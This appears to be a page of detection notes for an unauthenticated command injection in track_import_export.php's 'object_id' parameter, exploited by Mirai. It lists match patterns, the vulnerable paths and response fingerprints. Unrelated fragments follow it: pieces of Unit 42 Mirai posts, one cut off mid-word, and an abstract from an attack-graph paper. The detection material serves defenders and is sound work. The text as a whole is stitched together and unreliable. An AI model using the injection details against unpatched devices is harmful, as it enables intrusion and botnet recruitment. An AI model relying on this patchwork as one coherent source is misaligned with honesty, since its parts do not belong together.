- →The exploit targets the HTTP POST parameter 'object_id' in track_import_export.php via backtick-wrapped OS command injection (backtick = hex 0x60). Detection should look for POST requests to this endpoint with '&object_id=|60|' in the body. ↗
- →The attack is unauthenticated — no valid session or credentials are required to exploit the vulnerability. Any POST to the endpoint should be treated as suspicious. ↗
- →This CVE is a bypass of the prior fix for CVE-2018-7765; detections for CVE-2018-7765 may not catch this variant. ↗
- →The vulnerability has been observed exploited by Mirai botnet variants. Correlate detections with known Mirai C2 infrastructure.
- →OOB/DNS callback detection (e.g., via interactsh) can confirm exploitation: a successful exploit will trigger an outbound DNS/ICMP ping to an attacker-controlled host.
- →Successful exploitation returns HTTP 200 with Content-Type: application/octet-stream. Combine with URI and body matching for high-fidelity detection.
- ·Two different base paths have been observed for the vulnerable endpoint: '/smartdomuspad/modules/reporting/track_import_export.php' (PoC) and '/umotion/modules/reporting/track_import_export.php' (Nuclei template). Detection rules should account for both path prefixes or match only on the filename. ↗
- ·The Snort/ET rules match the URI ending with '/track_import_export.php' using 'endswith', which covers both known path variants without requiring a full-path match.
- ·The product has been retired and no patch will be issued; the vendor's recommended action is full removal of the software. ↗

Unit 42 researchers have taken a closer look at four Mirai variants from two recently discovered campaigns leveraging command injection vulnerability exploits that reveal a familiar IoT attack pattern.
While this generic approach allows researchers to observe the entire killchain and even acquire the malware binary from the attack, this post-exploitation heuristic does have its caveat: the traffic fingerprinting. Similar services yield similar traffi

Unlike other Mirai variants, this particular variant stands out for the sheer number of exploits it incorporates, with the latest version having a total of 71 unique exploits, 13 of which haven’t been seen exploited in the wild until now, ranging from extremely old CVEs from as long back as 2003, to recent vulnerabilities made public as recently as early December 2019.

[CRITICAL] New Mirai Variant Adds 8 New Exploits, Targets Additional IoT Devices
Executive Summary
Palo Alto Networks Unit 42 has been tracking the evolution of the Mirai malware, known for targeting embedded devices with the primary intent of launching DDoS attacks and self-propagation, since 2016 when it took down several notable targets.
As part of this ongoing research, we’ve recently discovered a new variant of Mirai that has eight new exploits against a wide range of embedded devices. These newly targeted devices range from wireless presentation systems to set-top-boxes, SD-WANs, and even smart home controllers.
Mirai initially made use of default credentials to gain access to devices. However, since the end of 2017, samples of the family have increasingly been observed making use of publicly available exploits to propagate and run on vulnerable devices.

## Abstract
We present a novel methodology for modelling, visualising, and analysing cyber threats, attack paths, as well as their impact on user services in enterprise or infrastructure networks of digital devices and services they provide. Using probabilistic methods to track the propagation of an attack through attack graphs, via the service or application layers, and on physical communication networks, our model enables us to analyse cyber attacks at different levels of detail.
